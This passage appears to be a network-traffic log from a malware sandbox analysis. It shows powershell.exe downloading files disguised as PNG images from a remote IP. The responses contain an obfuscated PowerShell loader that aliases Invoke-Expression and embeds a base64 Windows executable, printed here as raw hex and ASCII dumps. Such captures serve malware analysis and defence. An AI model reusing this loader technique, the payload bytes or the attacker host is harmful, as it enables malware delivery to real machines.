Jan 15, 2025 10:18:38.760967970 CET	1289	IN	Data Raw: 7a 41 45 41 41 63 41 41 41 41 42 41 41 41 52 41 69 67 36 41 67 41 47 4b 67 41 54 4d 41 67 41 64 67 45 41 41 41 51 41 41 42 45 43 4b 4d 67 42 41 41 59 4b 63 79 38 41 41 41 59 4c 49 47 39 76 53 34 6f 67 4a 45 79 73 67 57 45 6c 45 77 6b 66 44 46 35 Data Ascii: zAEAAcAAAABAAARAig6AgAGKgATMAgAdgEAAAQAABECKMgBAAYKcy8AAAYLIG9vS4ogJEysgWElEwkfDF5FDAAAABQBAAAbAAAAuv///4wAAABlAAAA3wAAAP4AAAAuAAAAxQAAAAUAAABIAAAAqQAAADgPAQAAEQQeMggg630YwiUrBiDox/uxJSYrpBYTBBEJINd7ZdFaIHIBx1phK5EbKLwBAAYMEQkgdwR4Dlog9klhNmE4
Jan 15, 2025 10:18:38.761105061 CET	1289	IN	Data Raw: 59 67 64 71 6d 4b 4f 69 55 6d 4f 50 50 39 2f 2f 38 52 42 78 45 4b 6c 52 4d 4c 49 45 31 75 6e 32 49 34 34 76 33 2f 2f 78 45 49 45 51 59 6c 46 31 67 54 42 68 45 4c 30 70 77 52 43 42 45 47 4a 52 64 59 45 77 59 52 43 78 35 6b 30 70 77 52 43 42 45 47 Data Ascii: YgdqmKOiUmOPP9//8RBxEKlRMLIE1un2I44v3//xEIEQYlF1gTBhEL0pwRCBEGJRdYEwYRCx5k0pwRCBEGJRdYEwYRCx8QZNKcEQwg+KaJqVognZdaHWE4o/3//xYTBRYTBhEMIIcsqeRaIEkJMElhOIr9//8RBxoRBxqVCBqVYZ4RBxsRBxuVCBuVYZ4RBxwRBxyVCByVYZ4RBx0RBx2VCB2VYZ4RBx4RBx6VCB6VYZ4RBx8JE
Jan 15, 2025 10:18:38.761184931 CET	1289	IN	Data Raw: 67 72 4d 46 5a 68 47 45 34 36 2f 37 2f 2f 78 45 47 70 51 45 41 41 42 73 4c 45 51 63 67 61 6a 2b 65 72 31 6f 67 4f 59 52 52 6a 47 45 34 30 50 37 2f 2f 79 68 49 41 67 41 47 66 67 45 41 41 41 51 43 43 43 67 62 41 67 41 47 4b 46 51 42 41 41 61 6c 41 Data Ascii: grMFZhGE46/7//xEGpQEAABsLEQcgaj+er1ogOYRRjGE40P7//yhIAgAGfgEAAAQCCCgbAgAGKFQBAAalAQAAGwsRByBb4PcIWiBHvqiEYTih/v//fgEAAAQCJRdYEADgkX4BAAAEAiUXWBAA4JEeYmB+AQAABAIlF1gQAOCRHxBiYH4BAAAEAiUXWBAA4JEfGGJgEwXQAQAAGyh6AQAGKHACAAYRBSiZAgAGEwYRByAGB1ewWi
Jan 15, 2025 10:18:38.761372089 CET	1289	IN	Data Raw: 46 76 34 63 41 51 41 41 47 79 68 2b 41 51 41 47 45 51 63 67 77 4b 51 78 39 6c 6f 67 51 73 37 43 49 57 45 34 4c 66 37 2f 2f 33 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 6d 4a 67 66 67 Data Ascii: Fv4cAQAAGyh+AQAGEQcgwKQx9logQs7CIWE4Lf7//34BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYBMF0AEAABsoegEABihwAgAGEQUomQIABhMGfgEAAAQCEQYWEQQaWSh+AQAGEQalAQAAGwsRByC6SCe+WiCnDg/PYTin/f//Bm4Xai4IIG4xC0clKwYg17l
Jan 15, 2025 10:18:38.761393070 CET	1289	IN	Data Raw: 41 43 4a 41 41 41 41 54 51 49 41 41 4a 77 41 41 41 43 43 41 67 41 41 75 41 41 41 41 41 55 41 41 41 43 64 41 67 41 41 51 41 41 41 41 42 6f 41 41 41 41 6d 41 51 41 41 7a 51 45 41 41 48 6b 42 41 41 41 4d 41 51 41 41 4a 51 49 41 41 47 63 43 41 41 41 Data Ascii: ACJAAAATQIAAJwAAACCAgAAuAAAAAUAAACdAgAAQAAAABoAAAAmAQAAzQEAAHkBAAAMAQAAJQIAAGcCAAA4mAIAAAIfHmQKEQcgVxnlPlog6ErzJWErjX4BAAAEAgkW/hwBAAAbKH4BAAYRByAXY2dZWiBuyGoSYThn////KEgCAAZ+AQAABAIIKBsCAAYoVAEABqUBAAAbCxEHILR9cCJaIEI1r+5hODj///8GbhdqLggg0bDf
Jan 15, 2025 10:18:38.761523008 CET	1289	IN	Data Raw: 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 6d 4a 67 66 67 45 41 41 41 51 43 4a 52 64 59 45 41 44 67 6b 52 38 51 59 6d 42 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 78 68 69 Data Ascii: 4BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYAwRByB0jl0OWiCgpCRYYTjj/v//fgEAAAQCCRb+HAEAABsofgEABhEHIK0RFAxaILc72TNhOL3+//8oSAIABn4BAAAEAggoGwIABihUAQAGpQEAABsLEQcg0swPhlogHwvpSmE4jv7//xEGpQEAABsLEQcgLHwLR
Jan 15, 2025 10:18:38.761600018 CET	1289	IN	Data Raw: 47 45 51 77 67 42 79 37 44 54 31 6f 67 61 71 49 41 56 32 45 34 56 76 37 2f 2f 78 45 49 4b 43 45 42 41 41 59 6f 76 67 41 41 42 6f 41 44 41 41 41 45 45 51 77 67 68 5a 79 54 32 46 6f 67 32 2b 72 76 67 57 45 34 4d 76 37 2f 2f 77 6b 4a 48 77 31 6b 59 Data Ascii: GEQwgBy7DT1ogaqIAV2E4Vv7//xEIKCEBAAYovgAABoADAAAEEQwghZyT2Fog2+rvgWE4Mv7//wkJHw1kYQ0JCR8ZYmENIA7JG8I4Gv7//xYTChEMILl3cUBaINb3SAthOAT+//8RBx8JEQcfCZUIHwmVYZ4RBx8KEQcfCpUIHwqVYZ4RBx8LEQcfC5UIHwuVYZ4RBx8MEQcfDJUIHwyVYZ4RBx8NEQcfDZUIHw2VYZ4RBx8OEQ
Jan 15, 2025 10:18:38.761713028 CET	1289	IN	Data Raw: 41 41 41 45 4b 68 4d 77 42 77 44 58 41 51 41 41 42 77 41 41 45 51 4e 37 43 51 41 41 42 42 38 4c 5a 41 4a 37 42 51 41 41 42 46 6f 4b 41 33 73 49 41 41 41 45 42 6b 46 33 41 51 41 41 48 45 55 42 41 41 41 41 39 76 2f 2f 2f 78 63 74 42 74 41 6a 41 41 Data Ascii: AAAEKhMwBwDXAQAABwAAEQN7CQAABB8LZAJ7BQAABFoKA3sIAAAEBkF3AQAAHEUBAAAA9v///xctBtAjAAAGJiBsqaeFIPxTwoFhJQsfCl5FCgAAAD8BAABoAQAAw////2YAAAAFAAAABwEAAMoAAABaAAAAmwAAACcBAAA4YwEAAAMGfQkAAAQCJXsFAAAEIAAIAAACewUAAARZG2RYfQUAAAQDewkAAAQgAAAAATcSGkUBAAA
Jan 15, 2025 10:18:38.986166000 CET	1289	IN	Data Raw: 35 31 61 49 43 45 6f 4d 59 78 68 4b 35 6f 57 43 78 59 4d 45 51 51 67 74 50 74 53 68 56 6f 67 39 68 6e 41 46 57 45 72 68 67 4a 37 42 67 41 41 42 41 62 67 6a 77 49 41 41 41 49 44 4b 43 4d 41 41 41 59 6c 4a 67 30 67 64 49 42 37 4f 6a 68 6d 2f 2f 2f Data Ascii: 51aICEoMYxhK5oWCxYMEQQgtPtShVog9hnAFWErhgJ7BgAABAbgjwIAAAIDKCMAAAYlJg0gdIB7Ojhm////CBdYDBEEINoskJpaIKigttJhOE////8IAnsHAAAELwggNbXAeCUrBiAu4cABJSY4Mv///wcqABMwBwDQAAAACQAAERcKFgsWDDiYAAAAIF92nCIgxxIvUGElEwQdXkUHAAAAz////yIAAABKAAAABQAAAJIAAAA2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49771	92.255.57.112	80	8400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 10:18:38.614690065 CET	70	OUT	GET /1/2.png HTTP/1.1 Host: 92.255.57.112 Connection: Keep-Alive
Jan 15, 2025 10:18:38.832935095 CET	1289	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Tue, 14 Jan 2025 22:09:21 GMT Accept-Ranges: bytes ETag: "a36a62f6d066db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 15 Jan 2025 09:18:38 GMT Content-Length: 526214 Data Raw: 0d 0a 20 24 74 30 3d 27 49 51 49 51 51 49 49 51 49 51 51 45 58 27 2e 72 65 70 6c 61 63 65 28 27 49 51 49 51 51 27 2c 27 27 29 3b 73 61 6c 20 47 47 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4b 63 4f 66 57 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 45 4c 41 54 41 41 41 44 77 42 41 41 42 41 41 51 41 41 41 41 41 41 69 6c 73 42 41 41 41 67 41 41 41 41 59 41 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: $t0='IQIQQIIQIQQEX'.replace('IQIQQ','');sal GG $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKcOfWcAAAAAAAAAAOAALiELATAAADwBAABAAQAAAAAAilsBAAAgAAAAYAEAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAQAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADBbAQBXAAAAAIABAFQDAAAAAAAAAAAAAAAAAAAAAAAAAGABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAkDsBAAAgAAAAPAEAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAYAEAAAIAAAA+AQAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABUAwAAAIABAAAEAAAAQAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABsWwEAAAAAAEgAAAACAAUABKEAACy6AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwBUAAAAAQAAESjuAAAGIHCo0kMgq9e2e2ElChpeRQQAAADc////FgAAACoAAAACAAAAKygouQIABgYgtu0jplogwH05lmEryyihAgAGBiBkOmUxWiDFoMEzYSu3KhMwCgAMAQAAAgAAESBihoadKAEAACsKKGw [TRUNCATED]
Jan 15, 2025 10:18:38.833007097 CET	1289	IN	Data Raw: 32 41 41 41 42 71 49 52 42 43 69 4b 41 51 41 47 44 41 67 73 66 69 43 62 68 62 2b 38 49 42 33 63 6b 65 42 68 4a 52 4d 47 47 31 35 46 42 51 41 41 41 4e 66 2f 2f 2f 38 46 41 41 41 41 6f 41 41 41 41 46 55 41 41 41 43 44 41 41 41 41 4f 4a 73 41 41 41 Data Ascii: 2AAABqIRBCiKAQAGDAgsfiCbhb+8IB3ckeBhJRMGG15FBQAAANf///8FAAAAoAAAAFUAAACDAAAAOJsAAAAgvUw9NCgDAAArCBQXKP8AAAYTBREFFgYgr2/09igCAAArKAECAAaiEQUoeAIABiixAgAGLQggUC2DfyUrBiA8vCFyJSYRBiBRoAwSWmErhxT+BgMAAAZzdgAACij+AAAGDQkXKM0CAAYJfgwBAAQocgEABiAJzKC
Jan 15, 2025 10:18:38.833159924 CET	1289	IN	Data Raw: 7a 41 45 41 41 63 41 41 41 41 42 41 41 41 52 41 69 67 36 41 67 41 47 4b 67 41 54 4d 41 67 41 64 67 45 41 41 41 51 41 41 42 45 43 4b 4d 67 42 41 41 59 4b 63 79 38 41 41 41 59 4c 49 47 39 76 53 34 6f 67 4a 45 79 73 67 57 45 6c 45 77 6b 66 44 46 35 Data Ascii: zAEAAcAAAABAAARAig6AgAGKgATMAgAdgEAAAQAABECKMgBAAYKcy8AAAYLIG9vS4ogJEysgWElEwkfDF5FDAAAABQBAAAbAAAAuv///4wAAABlAAAA3wAAAP4AAAAuAAAAxQAAAAUAAABIAAAAqQAAADgPAQAAEQQeMggg630YwiUrBiDox/uxJSYrpBYTBBEJINd7ZdFaIHIBx1phK5EbKLwBAAYMEQkgdwR4Dlog9klhNmE4
Jan 15, 2025 10:18:38.833287001 CET	1289	IN	Data Raw: 59 67 64 71 6d 4b 4f 69 55 6d 4f 50 50 39 2f 2f 38 52 42 78 45 4b 6c 52 4d 4c 49 45 31 75 6e 32 49 34 34 76 33 2f 2f 78 45 49 45 51 59 6c 46 31 67 54 42 68 45 4c 30 70 77 52 43 42 45 47 4a 52 64 59 45 77 59 52 43 78 35 6b 30 70 77 52 43 42 45 47 Data Ascii: YgdqmKOiUmOPP9//8RBxEKlRMLIE1un2I44v3//xEIEQYlF1gTBhEL0pwRCBEGJRdYEwYRCx5k0pwRCBEGJRdYEwYRCx8QZNKcEQwg+KaJqVognZdaHWE4o/3//xYTBRYTBhEMIIcsqeRaIEkJMElhOIr9//8RBxoRBxqVCBqVYZ4RBxsRBxuVCBuVYZ4RBxwRBxyVCByVYZ4RBx0RBx2VCB2VYZ4RBx4RBx6VCB6VYZ4RBx8JE
Jan 15, 2025 10:18:38.833339930 CET	1289	IN	Data Raw: 67 72 4d 46 5a 68 47 45 34 36 2f 37 2f 2f 78 45 47 70 51 45 41 41 42 73 4c 45 51 63 67 61 6a 2b 65 72 31 6f 67 4f 59 52 52 6a 47 45 34 30 50 37 2f 2f 79 68 49 41 67 41 47 66 67 45 41 41 41 51 43 43 43 67 62 41 67 41 47 4b 46 51 42 41 41 61 6c 41 Data Ascii: grMFZhGE46/7//xEGpQEAABsLEQcgaj+er1ogOYRRjGE40P7//yhIAgAGfgEAAAQCCCgbAgAGKFQBAAalAQAAGwsRByBb4PcIWiBHvqiEYTih/v//fgEAAAQCJRdYEADgkX4BAAAEAiUXWBAA4JEeYmB+AQAABAIlF1gQAOCRHxBiYH4BAAAEAiUXWBAA4JEfGGJgEwXQAQAAGyh6AQAGKHACAAYRBSiZAgAGEwYRByAGB1ewWi
Jan 15, 2025 10:18:38.833508015 CET	1289	IN	Data Raw: 46 76 34 63 41 51 41 41 47 79 68 2b 41 51 41 47 45 51 63 67 77 4b 51 78 39 6c 6f 67 51 73 37 43 49 57 45 34 4c 66 37 2f 2f 33 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 6d 4a 67 66 67 Data Ascii: Fv4cAQAAGyh+AQAGEQcgwKQx9logQs7CIWE4Lf7//34BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYBMF0AEAABsoegEABihwAgAGEQUomQIABhMGfgEAAAQCEQYWEQQaWSh+AQAGEQalAQAAGwsRByC6SCe+WiCnDg/PYTin/f//Bm4Xai4IIG4xC0clKwYg17l
Jan 15, 2025 10:18:38.833599091 CET	1289	IN	Data Raw: 41 43 4a 41 41 41 41 54 51 49 41 41 4a 77 41 41 41 43 43 41 67 41 41 75 41 41 41 41 41 55 41 41 41 43 64 41 67 41 41 51 41 41 41 41 42 6f 41 41 41 41 6d 41 51 41 41 7a 51 45 41 41 48 6b 42 41 41 41 4d 41 51 41 41 4a 51 49 41 41 47 63 43 41 41 41 Data Ascii: ACJAAAATQIAAJwAAACCAgAAuAAAAAUAAACdAgAAQAAAABoAAAAmAQAAzQEAAHkBAAAMAQAAJQIAAGcCAAA4mAIAAAIfHmQKEQcgVxnlPlog6ErzJWErjX4BAAAEAgkW/hwBAAAbKH4BAAYRByAXY2dZWiBuyGoSYThn////KEgCAAZ+AQAABAIIKBsCAAYoVAEABqUBAAAbCxEHILR9cCJaIEI1r+5hODj///8GbhdqLggg0bDf
Jan 15, 2025 10:18:38.833684921 CET	1289	IN	Data Raw: 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 6d 4a 67 66 67 45 41 41 41 51 43 4a 52 64 59 45 41 44 67 6b 52 38 51 59 6d 42 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 78 68 69 Data Ascii: 4BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYAwRByB0jl0OWiCgpCRYYTjj/v//fgEAAAQCCRb+HAEAABsofgEABhEHIK0RFAxaILc72TNhOL3+//8oSAIABn4BAAAEAggoGwIABihUAQAGpQEAABsLEQcg0swPhlogHwvpSmE4jv7//xEGpQEAABsLEQcgLHwLR
Jan 15, 2025 10:18:38.833821058 CET	1289	IN	Data Raw: 47 45 51 77 67 42 79 37 44 54 31 6f 67 61 71 49 41 56 32 45 34 56 76 37 2f 2f 78 45 49 4b 43 45 42 41 41 59 6f 76 67 41 41 42 6f 41 44 41 41 41 45 45 51 77 67 68 5a 79 54 32 46 6f 67 32 2b 72 76 67 57 45 34 4d 76 37 2f 2f 77 6b 4a 48 77 31 6b 59 Data Ascii: GEQwgBy7DT1ogaqIAV2E4Vv7//xEIKCEBAAYovgAABoADAAAEEQwghZyT2Fog2+rvgWE4Mv7//wkJHw1kYQ0JCR8ZYmENIA7JG8I4Gv7//xYTChEMILl3cUBaINb3SAthOAT+//8RBx8JEQcfCZUIHwmVYZ4RBx8KEQcfCpUIHwqVYZ4RBx8LEQcfC5UIHwuVYZ4RBx8MEQcfDJUIHwyVYZ4RBx8NEQcfDZUIHw2VYZ4RBx8OEQ
Jan 15, 2025 10:18:38.833921909 CET	1289	IN	Data Raw: 41 41 41 45 4b 68 4d 77 42 77 44 58 41 51 41 41 42 77 41 41 45 51 4e 37 43 51 41 41 42 42 38 4c 5a 41 4a 37 42 51 41 41 42 46 6f 4b 41 33 73 49 41 41 41 45 42 6b 46 33 41 51 41 41 48 45 55 42 41 41 41 41 39 76 2f 2f 2f 78 63 74 42 74 41 6a 41 41 Data Ascii: AAAEKhMwBwDXAQAABwAAEQN7CQAABB8LZAJ7BQAABFoKA3sIAAAEBkF3AQAAHEUBAAAA9v///xctBtAjAAAGJiBsqaeFIPxTwoFhJQsfCl5FCgAAAD8BAABoAQAAw////2YAAAAFAAAABwEAAMoAAABaAAAAmwAAACcBAAA4YwEAAAMGfQkAAAQCJXsFAAAEIAAIAAACewUAAARZG2RYfQUAAAQDewkAAAQgAAAAATcSGkUBAAA
Jan 15, 2025 10:18:39.049678087 CET	1289	IN	Data Raw: 35 31 61 49 43 45 6f 4d 59 78 68 4b 35 6f 57 43 78 59 4d 45 51 51 67 74 50 74 53 68 56 6f 67 39 68 6e 41 46 57 45 72 68 67 4a 37 42 67 41 41 42 41 62 67 6a 77 49 41 41 41 49 44 4b 43 4d 41 41 41 59 6c 4a 67 30 67 64 49 42 37 4f 6a 68 6d 2f 2f 2f Data Ascii: 51aICEoMYxhK5oWCxYMEQQgtPtShVog9hnAFWErhgJ7BgAABAbgjwIAAAIDKCMAAAYlJg0gdIB7Ojhm////CBdYDBEEINoskJpaIKigttJhOE////8IAnsHAAAELwggNbXAeCUrBiAu4cABJSY4Mv///wcqABMwBwDQAAAACQAAERcKFgsWDDiYAAAAIF92nCIgxxIvUGElEwQdXkUHAAAAz////yIAAABKAAAABQAAAJIAAAA2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49772	92.255.57.112	80	8460	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 10:18:38.648339033 CET	70	OUT	GET /1/3.png HTTP/1.1 Host: 92.255.57.112 Connection: Keep-Alive
Jan 15, 2025 10:18:38.883505106 CET	1289	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Tue, 14 Jan 2025 22:31:44 GMT Accept-Ranges: bytes ETag: "162f316d466db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 15 Jan 2025 09:18:38 GMT Content-Length: 538502 Data Raw: 0d 0a 20 24 74 30 3d 27 49 51 49 51 51 49 49 51 49 51 51 45 58 27 2e 72 65 70 6c 61 63 65 28 27 49 51 49 51 51 27 2c 27 27 29 3b 73 61 6c 20 47 47 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4b 63 4f 66 57 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 45 4c 41 54 41 41 41 44 77 42 41 41 42 41 41 51 41 41 41 41 41 41 69 6c 73 42 41 41 41 67 41 41 41 41 59 41 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: $t0='IQIQQIIQIQQEX'.replace('IQIQQ','');sal GG $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKcOfWcAAAAAAAAAAOAALiELATAAADwBAABAAQAAAAAAilsBAAAgAAAAYAEAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAQAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADBbAQBXAAAAAIABAFQDAAAAAAAAAAAAAAAAAAAAAAAAAGABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAkDsBAAAgAAAAPAEAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAYAEAAAIAAAA+AQAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABUAwAAAIABAAAEAAAAQAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABsWwEAAAAAAEgAAAACAAUABKEAACy6AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwBUAAAAAQAAESjuAAAGIHCo0kMgq9e2e2ElChpeRQQAAADc////FgAAACoAAAACAAAAKygouQIABgYgtu0jplogwH05lmEryyihAgAGBiBkOmUxWiDFoMEzYSu3KhMwCgAMAQAAAgAAESBihoadKAEAACsKKGw [TRUNCATED]
Jan 15, 2025 10:18:38.883801937 CET	1289	IN	Data Raw: 41 41 41 42 71 49 52 42 43 69 4b 41 51 41 47 44 41 67 73 66 69 43 62 68 62 2b 38 49 42 33 63 6b 65 42 68 4a 52 4d 47 47 31 35 46 42 51 41 41 41 4e 66 2f 2f 2f 38 46 41 41 41 41 6f 41 41 41 41 46 55 41 41 41 43 44 41 41 41 41 4f 4a 73 41 41 41 41 Data Ascii: AAABqIRBCiKAQAGDAgsfiCbhb+8IB3ckeBhJRMGG15FBQAAANf///8FAAAAoAAAAFUAAACDAAAAOJsAAAAgvUw9NCgDAAArCBQXKP8AAAYTBREFFgYgr2/09igCAAArKAECAAaiEQUoeAIABiixAgAGLQggUC2DfyUrBiA8vCFyJSYRBiBRoAwSWmErhxT+BgMAAAZzdgAACij+AAAGDQkXKM0CAAYJfgwBAAQocgEABiAJzKCB
Jan 15, 2025 10:18:38.883821964 CET	1289	IN	Data Raw: 41 45 41 41 63 41 41 41 41 42 41 41 41 52 41 69 67 36 41 67 41 47 4b 67 41 54 4d 41 67 41 64 67 45 41 41 41 51 41 41 42 45 43 4b 4d 67 42 41 41 59 4b 63 79 38 41 41 41 59 4c 49 47 39 76 53 34 6f 67 4a 45 79 73 67 57 45 6c 45 77 6b 66 44 46 35 46 Data Ascii: AEAAcAAAABAAARAig6AgAGKgATMAgAdgEAAAQAABECKMgBAAYKcy8AAAYLIG9vS4ogJEysgWElEwkfDF5FDAAAABQBAAAbAAAAuv///4wAAABlAAAA3wAAAP4AAAAuAAAAxQAAAAUAAABIAAAAqQAAADgPAQAAEQQeMggg630YwiUrBiDox/uxJSYrpBYTBBEJINd7ZdFaIHIBx1phK5EbKLwBAAYMEQkgdwR4Dlog9klhNmE4d
Jan 15, 2025 10:18:38.883970976 CET	1289	IN	Data Raw: 67 64 71 6d 4b 4f 69 55 6d 4f 50 50 39 2f 2f 38 52 42 78 45 4b 6c 52 4d 4c 49 45 31 75 6e 32 49 34 34 76 33 2f 2f 78 45 49 45 51 59 6c 46 31 67 54 42 68 45 4c 30 70 77 52 43 42 45 47 4a 52 64 59 45 77 59 52 43 78 35 6b 30 70 77 52 43 42 45 47 4a Data Ascii: gdqmKOiUmOPP9//8RBxEKlRMLIE1un2I44v3//xEIEQYlF1gTBhEL0pwRCBEGJRdYEwYRCx5k0pwRCBEGJRdYEwYRCx8QZNKcEQwg+KaJqVognZdaHWE4o/3//xYTBRYTBhEMIIcsqeRaIEkJMElhOIr9//8RBxoRBxqVCBqVYZ4RBxsRBxuVCBuVYZ4RBxwRBxyVCByVYZ4RBx0RBx2VCB2VYZ4RBx4RBx6VCB6VYZ4RBx8JEQ
Jan 15, 2025 10:18:38.884105921 CET	1289	IN	Data Raw: 72 4d 46 5a 68 47 45 34 36 2f 37 2f 2f 78 45 47 70 51 45 41 41 42 73 4c 45 51 63 67 61 6a 2b 65 72 31 6f 67 4f 59 52 52 6a 47 45 34 30 50 37 2f 2f 79 68 49 41 67 41 47 66 67 45 41 41 41 51 43 43 43 67 62 41 67 41 47 4b 46 51 42 41 41 61 6c 41 51 Data Ascii: rMFZhGE46/7//xEGpQEAABsLEQcgaj+er1ogOYRRjGE40P7//yhIAgAGfgEAAAQCCCgbAgAGKFQBAAalAQAAGwsRByBb4PcIWiBHvqiEYTih/v//fgEAAAQCJRdYEADgkX4BAAAEAiUXWBAA4JEeYmB+AQAABAIlF1gQAOCRHxBiYH4BAAAEAiUXWBAA4JEfGGJgEwXQAQAAGyh6AQAGKHACAAYRBSiZAgAGEwYRByAGB1ewWiC
Jan 15, 2025 10:18:38.884160042 CET	1289	IN	Data Raw: 76 34 63 41 51 41 41 47 79 68 2b 41 51 41 47 45 51 63 67 77 4b 51 78 39 6c 6f 67 51 73 37 43 49 57 45 34 4c 66 37 2f 2f 33 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 6d 4a 67 66 67 45 Data Ascii: v4cAQAAGyh+AQAGEQcgwKQx9logQs7CIWE4Lf7//34BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYBMF0AEAABsoegEABihwAgAGEQUomQIABhMGfgEAAAQCEQYWEQQaWSh+AQAGEQalAQAAGwsRByC6SCe+WiCnDg/PYTin/f//Bm4Xai4IIG4xC0clKwYg17l+
